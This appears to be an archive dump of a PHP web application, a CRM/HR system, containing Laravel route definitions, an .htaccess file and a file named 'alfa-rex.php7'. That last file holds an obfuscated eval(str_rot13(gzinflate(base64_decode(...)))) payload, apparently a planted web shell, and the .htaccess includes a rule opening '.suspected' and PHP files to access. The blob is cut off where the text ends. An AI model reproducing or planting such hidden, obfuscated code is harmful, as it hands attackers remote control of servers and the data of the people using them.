'showTimer'])->name('timelogs.show_timer'); Route::post('start-timer', [TimelogController::class, 'startTimer'])->name('timelogs.start_timer'); Route::get('timer-data', [TimelogController::class, 'timerData'])->name('timelogs.timer_data'); Route::post('stop-timer', [TimelogController::class, 'stopTimer'])->name('timelogs.stop_timer'); Route::post('pause-timer', [TimelogController::class, 'pauseTimer'])->name('timelogs.pause_timer'); Route::post('resume-timer', [TimelogController::class, 'resumeTimer'])->name('timelogs.resume_timer'); Route::post('apply-quick-action', [TimelogController::class, 'applyQuickAction'])->name('timelogs.apply_quick_action'); Route::post('employee_data', [TimelogController::class, 'employeeData'])->name('timelogs.employee_data'); Route::post('user_time_logs', [TimelogController::class, 'userTimelogs'])->name('timelogs.user_time_logs'); Route::post('approve_timelog', [TimelogController::class, 'approveTimelog'])->name('timelogs.approve_timelog'); Route::get('stopper-alert/{id}', [TimelogController::class, 'stopperAlert'])->name('timelogs.stopper_alert'); Route::get('show-reject-modal', [WeeklyTimesheetController::class, 'showRejectModal'])->name('weekly-timesheets.show_reject_modal'); Route::post('change-status', [WeeklyTimesheetController::class, 'changeStatus'])->name('weekly-timesheets.change_status'); Route::get('pending-approval', [WeeklyTimesheetController::class, 'pendingApproval'])->name('weekly-timesheets.pending_approval'); Route::resource('weekly-timesheets', WeeklyTimesheetController::class); }); Route::resource('timelogs', TimelogController::class); Route::post('/calculate-time', [TimelogController::class, 'calculateTime'])->name('calculateTime'); // Contracts Route::post('contracts/apply-quick-action', [ContractController::class, 'applyQuickAction'])->name('contracts.apply_quick_action'); Route::get('contracts/download/{id}', [ContractController::class, 'download'])->name('contracts.download'); Route::post('contracts/sign/{id}', [ContractController::class, 'sign'])->name('contracts.sign'); Route::post('companySign/sign/{id}', [ContractController::class, 'companySign'])->name('companySign.sign'); Route::get('companySignStore/sign/{id}', [ContractController::class, 'companiesSign'])->name('companySignStore.sign'); Route::post('contracts/project-detail/{id}', [ContractController::class, 'projectDetail'])->name('contracts.project_detail'); Route::get('contracts/company-sig/{id}', [ContractController::class, 'companySig'])->name('contracts.company_sig'); Route::group(['prefix' => 'contracts'], function () { Route::resource('contractDiscussions', ContractDiscussionController::class); Route::get('contractFiles/download/{id}', [ContractFileController::class, 'download'])->name('contractFiles.download'); Route::resource('contractFiles', ContractFileController::class); Route::resource('contractTypes', ContractTypeController::class); }); Route::resource('contracts', ContractController::class); Route::resource('contract-renew', ContractRenewController::class); // Contract template Route::post('contract-template/apply-quick-action', [ContractTemplateController::class, 'applyQuickAction'])->name('contract_template.apply_quick_action'); Route::resource('contract-template', ContractTemplateController::class); Route::get('contract-template/download/{id}', [ContractTemplateController::class, 'download'])->name('contract-template.download'); // Attendance Route::get('attendances/export-attendance/{year}/{month}/{id}', [AttendanceController::class, 'exportAttendanceByMember'])->name('attendances.export_attendance'); Route::get('attendances/export-all-attendance/{year}/{month}/{id}/{department}/{designation}', [AttendanceController::class, 'exportAllAttendance'])->name('attendances.export_all_attendance'); Route::post('attendances/employee-data', [AttendanceController::class, 'employeeData'])->name('attendances.employee_data'); Route::get('attendances/mark/{id}/{day}/{month}/{year}', [AttendanceController::class, 'mark'])->name('attendances.mark'); Route::get('attendances/by-member', [AttendanceController::class, 'byMember'])->name('attendances.by_member'); Route::get('attendances/by-hour', [AttendanceController::class, 'byHour'])->name('attendances.by_hour'); Route::post('attendances/bulk-mark', [AttendanceController::class, 'bulkMark'])->name('attendances.bulk_mark'); Route::get('attendances/import', [AttendanceController::class, 'importAttendance'])->name('attendances.import'); Route::post('attendances/import', [AttendanceController::class, 'importStore'])->name('attendances.import.store'); Route::post('attendances/import/process', [AttendanceController::class, 'importProcess'])->name('attendances.import.process'); Route::get('attendances/by-map-location', [AttendanceController::class, 'byMapLocation'])->name('attendances.by_map_location'); Route::resource('attendances', AttendanceController::class); Route::get('attendance/{id}/{day}/{month}/{year}', [AttendanceController::class, 'addAttendance'])->name('attendances.add-user-attendance'); Route::post('attendances/check-half-day', [AttendanceController::class, 'checkHalfDay'])->name('attendances.check_half_day'); Route::get('check-qr-login/{hash}', [AttendanceController::class, 'qrClockInOut'])->name('settings.qr-login'); Route::post('change-qr-code-status', [AttendanceController::class, 'qrCodeStatus'])->name('settings.change-qr-code-status'); Route::get('shifts/mark/{id}/{day}/{month}/{year}', [EmployeeShiftScheduleController::class, 'mark'])->name('shifts.mark'); Route::get('shifts/export-all/{year}/{month}/{id}/{department}/{startDate}/{viewType}', [EmployeeShiftScheduleController::class, 'exportAllShift'])->name('shifts.export_all'); Route::get('shifts/employee-shift-calendar', [EmployeeShiftScheduleController::class, 'employeeShiftCalendar'])->name('shifts.employee_shift_calendar'); Route::post('shifts/bulk-shift', [EmployeeShiftScheduleController::class, 'bulkShift'])->name('shifts.bulk_shift'); Route::group(['prefix' => 'shifts'], function () { Route::post('shifts-change/approve_request/{id}', [EmployeeShiftChangeRequestController::class, 'approveRequest'])->name('shifts-change.approve_request'); Route::post('shifts-change/decline_request/{id}', [EmployeeShiftChangeRequestController::class, 'declineRequest'])->name('shifts-change.decline_request'); Route::post('shifts-change/apply-quick-action', [EmployeeShiftChangeRequestController::class, 'applyQuickAction'])->name('shifts-change.apply_quick_action'); Route::resource('shifts-change', EmployeeShiftChangeRequestController::class); }); Route::resource('shifts', EmployeeShiftScheduleController::class); // Tickets Route::post('tickets/apply-quick-action', [TicketController::class, 'applyQuickAction'])->name('tickets.apply_quick_action'); Route::post('tickets/updateOtherData/{id}', [TicketController::class, 'updateOtherData'])->name('tickets.update_other_data'); Route::post('tickets/change-status', [TicketController::class, 'changeStatus'])->name('tickets.change-status'); Route::post('tickets/refreshCount', [TicketController::class, 'refreshCount'])->name('tickets.refresh_count'); Route::get('tickets/agent-group/{id}/{exceptThis?}', [TicketController::class, 'agentGroup'])->name('tickets.agent_group'); Route::resource('tickets', TicketController::class); // Ticket Custom Embed From Route::post('ticket-form/sort-fields', [TicketCustomFormController::class, 'sortFields'])->name('ticket-form.sort_fields'); Route::resource('ticket-form', TicketCustomFormController::class); Route::get('ticket-files/download/{id}', [TicketFileController::class, 'download'])->name('ticket-files.download'); Route::resource('ticket-files', TicketFileController::class); Route::resource('ticket-replies', TicketReplyController::class); Route::post('ticket-replies/edit-note/{id}', [TicketReplyController::class, 'editNote'])->name('ticket-replies.edit_note'); Route::post('task-report-chart', [TaskReportController::class, 'taskChartData'])->name('task-report.chart'); Route::get('task-report/employee-wise-task-report', [TaskReportController::class, 'employeeWiseTaskReport'])->name('employee-wise-task-report'); Route::get('task-report/consolidated-task-report', [TaskReportController::class, 'consolidatedTaskReport'])->name('consolidated-task-report'); Route::resource('task-report', TaskReportController::class); Route::post('time-log-report-chart', [TimelogReportController::class, 'timelogChartData'])->name('time-log-report.chart'); Route::get('time-log-consolidated-report', [TimelogReportController::class,'consolidateIndex'])->name('time-log-consolidated.report'); Route::get('time-log-project-wise-report', [TimelogReportController::class,'projectWiseTimelog'])->name('project-wise-timelog.report'); Route::get('project-wise-timelog/report/export', [TimelogReportController::class,'exportProjectWiseTimeLog'])->name('project-wise-timelog.export'); Route::resource('time-log-report', TimelogReportController::class); Route::post('time-log-report-time', [TimelogReportController::class, 'totalTime'])->name('time-log-report.time'); Route::post('finance-report-chart', [FinanceReportController::class, 'financeChartData'])->name('finance-report.chart'); Route::resource('finance-report', FinanceReportController::class); Route::resource('income-expense-report', IncomeVsExpenseReportController::class); Route::get('leave-report/leave-quota', [LeaveReportController::class, 'leaveQuota'])->name('leave-report.leave_quota'); Route::get('leave-report/leave-quota/export-all-leave-quota/{id}/{year}/{month}', [LeavesQuotaController::class, 'exportAllLeaveQuota'])->name('leave_quota.export_all_leave_quota'); Route::get('leave-report/leave-quota/{id}/{year}/{month}', [LeaveReportController::class, 'employeeLeaveQuota'])->name('leave-report.employee-leave-quota'); Route::resource('leave-report', LeaveReportController::class); Route::resource('attendance-report', AttendanceReportController::class); Route::post('expense-report-chart', [ExpenseReportController::class, 'expenseChartData'])->name('expense-report.chart'); Route::get('expense-report/expense-category-report', [ExpenseReportController::class, 'expenseCategoryReport'])->name('expense-report.expense_category_report'); Route::resource('expense-report', ExpenseReportController::class); Route::get('deal-report/lead', [LeadReportController::class, 'leadContact'])->name('lead-report.lead_contact'); Route::get('lead-report/total', [LeadReportController::class, 'totalContact'])->name('lead-report.total_contact'); Route::get('deal-report/chart', [LeadReportController::class, 'averageDealSizeReport'])->name('lead-report.chart'); Route::get('deal-report/profile', [LeadReportController::class, 'profile'])->name('lead-report.profile'); Route::get('deal-report/export/{year}/{pipeline}/{category}', [LeadReportController::class, 'exportDealReport'])->name('deal-report.export'); Route::resource('lead-report', LeadReportController::class); Route::resource('sales-report', SalesReportController::class); Route::resource('sticky-notes', StickyNoteController::class); Route::post('show-notifications', [NotificationController::class, 'showNotifications'])->name('show_notifications'); Route::get('gdpr/lead/approve-reject/{id}/{type}', [GdprSettingsController::class, 'approveRejectLead'])->name('gdpr.lead.approve_reject'); Route::get('gdpr/customer/approve-reject/{id}/{type}', [GdprSettingsController::class, 'approveRejectClient'])->name('gdpr.customer.approve_reject'); Route::post('gdpr-settings/apply-quick-action', [GdprSettingsController::class, 'applyQuickAction'])->name('gdpr_settings.apply_quick_action'); Route::put('gdpr-settings.update-general', [GdprSettingsController::class, 'updateGeneral'])->name('gdpr_settings.update_general'); Route::post('gdpr/store-consent', [GdprSettingsController::class, 'storeConsent'])->name('gdpr.store_consent'); Route::get('gdpr/add-consent', [GdprSettingsController::class, 'AddConsent'])->name('gdpr.add_consent'); Route::get('gdpr/edit-consent/{id}', [GdprSettingsController::class, 'editConsent'])->name('gdpr.edit_consent'); Route::put('gdpr/update-consent/{id}', [GdprSettingsController::class, 'updateConsent'])->name('gdpr.update_consent'); Route::delete('gdpr-settings/purpose-delete/{id}', [GdprSettingsController::class, 'purposeDelete'])->name('gdpr_settings.purpose_delete'); Route::resource('gdpr-settings', GdprSettingsController::class); Route::post('gdpr/update-client-consent', [GdprController::class, 'updateClientConsent'])->name('gdpr.update_client_consent'); Route::get('gdpr/export-data', [GdprController::class, 'downloadJson'])->name('gdpr.export_data'); Route::resource('gdpr', GdprController::class); Route::get('all-notifications', [NotificationController::class, 'all'])->name('all-notifications'); Route::post('mark-read', [NotificationController::class, 'markRead'])->name('mark_single_notification_read'); Route::post('mark_notification_read', [NotificationController::class, 'markAllRead'])->name('mark_notification_read'); Route::resource('search', SearchController::class); // Remove in v 5.2.5 Route::get('hide-webhook-url', [SettingsController::class, 'hideWebhookAlert'])->name('hideWebhookAlert'); // Estimate Template Route::get('estimate-template/add-item', [EstimateTemplateController::class, 'addItem'])->name('estimate-template.add_item'); Route::resource('estimate-template', EstimateTemplateController::class); Route::get('estimates-template/delete-image', [EstimateTemplateController::class, 'deleteEstimateItemImage'])->name('estimate-template.delete_image'); Route::get('estimate-template/download/{id}', [EstimateTemplateController::class, 'download'])->name('estimate-template.download'); Route::get('quickbooks/{hash}/callback', [QuickbookController::class, 'callback'])->name('quickbooks.callback'); Route::get('quickbooks', [QuickbookController::class, 'index'])->name('quickbooks.index'); // Estimate Request Route::post('estimate-request/apply-quick-action', [EstimateRequestController::class, 'applyQuickAction'])->name('estimate-request.apply_quick_action'); Route::post('estimate-request/change-status/', [EstimateRequestController::class, 'changeStatus'])->name('estimate-request.change_status'); Route::get('estimate-request-confirm-rejected/{id}', [EstimateRequestController::class, 'rejectConfirmation'])->name('estimate-request.confirm_rejected'); Route::get('estimate-request/send-estimate-request', [EstimateRequestController::class, 'sendEstimateRequest'])->name('estimate-request.send_estimate_request'); Route::post('estimate-request/send_estimate_mail', [EstimateRequestController::class, 'sendEstimateMail'])->name('estimate-request.send_estimate_mail'); Route::resource('estimate-request', EstimateRequestController::class); Route::post('gantt_link.task_update', [GanttLinkController::class, 'taskUpdateController'])->name('gantt_link.task_update'); Route::resource('gantt_link', GanttLinkController::class); }); PK ���Z�]��d d .htaccessnu �[��� <IfModule mod_rewrite.c> RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> <FilesMatch ".*\.(?i:phtml|php|suspected|PHP)$"> Order Allow,Deny Allow from all </FilesMatch>PK ���ZGAk}|- |- alfa-rex.php7nu �[��� <?php eval(str_rot13(gzinflate(str_rot13(base64_decode('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